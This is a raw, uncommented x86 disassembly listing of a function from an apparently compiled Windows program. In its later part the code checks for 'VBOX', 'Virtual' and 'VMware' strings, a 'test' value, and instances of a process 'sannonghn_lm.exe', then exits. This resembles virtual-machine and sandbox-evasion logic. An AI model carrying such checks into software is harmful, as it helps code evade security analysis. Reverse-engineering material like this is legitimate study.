mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4eec10]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef646
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413fa8
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef643
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413ff2
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4eec10]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00402653
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x414074
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x431a70
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x4140a4
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x5c], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4eee04
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4140d9
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x4ee75f]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x41412a
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x4319e0
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x88], eax
push 0
push dword [ebp - 0x88]
push 0xffffffffffffffff
push 8
push 0x160100da
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x414174
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x414187
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431840
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4eee04
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4141ce
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
fild dword [ebp - 0x74]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x78]
fstp qword [ebp - 0x88]
fsub qword [ebp - 0x88]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x414228
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x431a20
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x94], eax
push 0
push dword [ebp - 0x94]
push 0xffffffffffffffff
push 8
push 0x160100db
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x414272
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef649
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4142a3
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414466
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef652
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4142f4
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4eec10]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4eecb1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x414350
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef652
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41439a
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4eec10]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00402653
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41441c
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x431a70
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x160100dc
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x414466
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef655
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x414497
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414782
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef660
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef655
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x414506
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x414516
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x41452d
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 4]
push eax
call fcn.004194ac
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x414551
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
push 0x4ee6f0
push dword [ebp - 0x64]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x414594
lea eax, [ebp - 4]
push eax
call fcn.004194ac
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x41458e
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
jmp 0x414555
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x4145b9
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x432660
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4145f1
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4145ed
imul eax, dword [ebx]
jmp 0x4145e2
mov ecx, eax
test ecx, ecx
je 0x414610
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x414609
push ebx
push eax
call fcn.00431286
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4145f7
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x68]
call fcn.0040267a
xor ecx, ecx
push eax
lea eax, [ebp - 0x6c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4146db
mov ebx, dword [ebp - 0x68]
call fcn.00402693
push ebx
push ecx
mov eax, dword [ebp - 0x6c]
dec eax
jns 0x414658
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41466b
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x41469a
mov eax, 0x4ee6f0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x4146ae
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
je 0x4146d3
jmp 0x4146db
pop eax
pop ebx
pop ecx
jmp 0x41462d
add esp, 0xc
cmp dword [ebp - 0x70], 0xffffffff
jne 0x414782
mov dword [0x5a3e80], 0
push 0x4ef663
push dword [ebp - 0x64]
push 0x4ef688
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x74], eax
mov ebx, 6
call fcn.00401117
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x414738
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x41475b
push ebx
call fcn.00431286
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x16010010
push 0x52010001
call fcn.00431298
add esp, 0x18
push 0
call fcn.00431292
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef68d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4147b3
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414927
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VBOX
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3ef8]
test eax, eax
jne 0x414806
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x4148dc
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Virtual
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3ef8]
test eax, eax
jne 0x414859
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
jne 0x4148dc
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VMware
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3ef8]
test eax, eax
jne 0x4148b2
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x4148dc
xor eax, eax
jmp 0x4148e1
mov eax, 1
test eax, eax
je 0x414927
mov ebx, 6
call fcn.00401117
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef6af
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
push 0
call fcn.00431292
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef6c0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x414958
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414aa3
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.test
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4149c2
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4149e8
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x78], 0xffffffff
je 0x414a58
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x80], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x414a1e
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431840
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x414a47
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x84], 4
jne 0x414a58
xor eax, eax
jmp 0x414a5d
mov eax, 1
test eax, eax
je 0x414aa3
mov ebx, 6
call fcn.00401117
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef6d0
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
push 0
call fcn.00431292
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef6f9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x414ad4
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414c11
push 0
mov ebx, 0x4318a0
call fcn.0043127a
add esp, 4
mov dword [ebp - 0x74], eax
push str.sannonghn_lm.exe
push dword [ebp - 0x74]
call fcn.0040107a
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414b37
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x414b92
mov dword [0x5a3e80], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x4ef084
push 0x4ef713
push 0
mov eax, 0x1f
call fcn.00431274
cmp dword [ebp - 0x74], esp
je 0x414b88
push 6
call fcn.0043126e
add esp, 4
push 0
call fcn.00431292
add esp, 4
mov eax, str.sannonghn_lm.exe
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
call fcn.004196e4
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414bb6
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x78], 1
jle 0x414c11
mov dword [0x5a3e80], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x4ef084
push 0x4ef743
push 0
mov eax, 0x1f
call fcn.00431274
cmp dword [ebp - 0x74], esp
je 0x414c07
push 6
call fcn.0043126e
add esp, 4
push 0
call fcn.00431292
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x414c21
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x414c31
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x414c41
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x414c51
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x414c61
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x414c7f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x414c7b
imul eax, dword [ebx]
jmp 0x414c70
mov ecx, eax
test ecx, ecx
je 0x414c9e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x414c97
push ebx
push eax
call fcn.00431286
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x414c85
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x414cb6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x414cc6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x414cd6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x414ce6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x414cf6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x414d06
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x414d16
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x414d34
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x414d30
imul eax, dword [ebx]
jmp 0x414d25
mov ecx, eax
test ecx, ecx
je 0x414d53
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x414d4c
push ebx
push eax
call fcn.00431286
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x414d3a
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x414d6b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x414d7b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x414d8b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x414da9